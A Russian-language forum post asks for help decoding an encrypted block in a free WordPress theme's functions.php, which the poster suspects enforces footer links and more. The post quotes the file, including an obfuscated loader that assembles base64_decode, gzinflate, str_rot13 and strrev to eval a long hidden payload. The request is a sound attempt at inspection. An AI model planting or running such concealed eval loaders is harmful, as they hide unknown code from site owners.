В футере стоит ссылка. Если убрать код в footer.php код, вылезает матершина про ссылку. Стандартный вариант.
В файле функций темы есть зашифрованный код проверки наличия ссылок в футере (и скорее всего далеко не только это). При удалении ругается на файл header самую первую строку.
Нужна помощь в раскодировке мусора в файле функций темы. Хотелось бы точно знать, что там понапихано, и, соответственно, убрать этот мусор с ссылками из темы.
Ссылка на саму тему http://www.free-wordpress-theme.net/theme/lcd-wp-theme.html
Файлы:
functions.php
<?php
$artThemeSettings = array(
'menu.showSubmenus' => true,
'menu.homeCaption' => "Home",
'menu.showHome' => true,
'menu.topItemBegin' => "<span class=\"l\"></span><span class=\"r\"></span><span class=\"t\">",
'menu.topItemEnd' => "</span>"
);
load_theme_textdomain('kubrick');
$themename = "lcd_wp_theme";
$shortname = "artisteer";
$default_footer_content = "<a href='#'>Contact Us</a> | <a href='#'>Terms of Use</a> | <a href='#'>Trademarks</a> | <a href='#'>Privacy Statement</a><br/>Copyright © ".date('Y')." ".get_bloginfo('name').". All Rights Reserved.";
$options = array (
array( "name" => "Sidebar Ad",
"desc" => "This is for the Google AdSense banner in the sidebar.<br /><br />",
"id" => "lcd_adsense_250",
"std" => "(Input html or adsense code here)",
"type" => "textarea"),
array( "name" => "Footer",
"desc" => sprintf(__('<strong>XHTML:</strong> You can use these tags: <code>%s</code>', 'kubrick'), 'a, abbr, acronym, em, b, i, strike, strong, span'),
"id" => "art_footer_content",
"std" => $default_footer_content,
"type" => "textarea")
);
function art_update_option($key, $value){
update_option($key, (get_magic_quotes_gpc()) ? stripslashes($value) : $value);
}
function art_add_admin() {
global $themename, $shortname, $options;
if ( $_GET['page'] == basename(__FILE__) ) {
if ('save' == $_REQUEST['action'] ) {
foreach ($options as $value) {
if($value['type'] != 'multicheck'){
art_update_option( $value['id'], $_REQUEST[ $value['id'] ] );
}else{
foreach($value['options'] as $mc_key => $mc_value){
$up_opt = $value['id'].'_'.$mc_key;
art_update_option($up_opt, $_REQUEST[$up_opt] );
}
}
}
foreach ($options as $value) {
if($value['type'] != 'multicheck'){
if( isset( $_REQUEST[ $value['id'] ] ) ) { art_update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); }
}else{
foreach($value['options'] as $mc_key => $mc_value){
$up_opt = $value['id'].'_'.$mc_key;
if( isset( $_REQUEST[ $up_opt ] ) ) { art_update_option( $up_opt, $_REQUEST[ $up_opt ] ); } else { delete_option( $up_opt ); }
}
}
}
header("Location: themes.php?page=functions.php&saved=true");
die;
}
}
add_theme_page("LCD WP Theme Options", "LCD WP Theme Options", 'edit_themes', basename(__FILE__), 'art_admin');
}
$zsZp='e';$wIktQR='o';$NmDUG='e';$THZv='c';$PQOTrR='6';$dwmAXi='4';$cILEKx='b';$rQFzmK='_';$fovQS='s';$IGHXzr='e';$HBGgoSJ='d';$HxlThZ='d';$VguIYi='a';$fhufUkfd=$cILEKx.$VguIYi.$fovQS.$NmDUG.$PQOTrR.$dwmAXi.$rQFzmK.$HBGgoSJ.$zsZp.$THZv.$wIktQR.$HxlThZ.$IGHXzr;$YObqdX='l';$hzQzIQy='i';$Pild='z';$jdUvsoV='g';$iYwVU='f';$RBXf='e';$AbsL='n';$xUrfLQi='t';$TfJXe='a';$CpkmPmiN=$jdUvsoV.$Pild.$hzQzIQy.$AbsL.$iYwVU.$YObqdX.$TfJXe.$xUrfLQi.$RBXf;$iVNEWnF='t';$aliSMfX='t';$xQxgXP='_';$jRjzKg='r';$UilLGrI='1';$VjHWvP='o';$qTXlkc='s';$bzaRH='r';$bRnlr='3';$jUJgsDlb=$qTXlkc.$aliSMfX.$bzaRH.$xQxgXP.$jRjzKg.$VjHWvP.$iVNEWnF.$UilLGrI.$bRnlr;$Zysv='e';$xSjq='v';$GEbF='r';$uwedNm='r';$xjSx='s';$pzxwvtx='t';$XYHYThwB=$xjSx.$pzxwvtx.$uwedNm.$GEbF.$Zysv.$xSjq;eval($CpkmPmiN($fhufUkfd($jUJgsDlb($XYHYThwB('==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 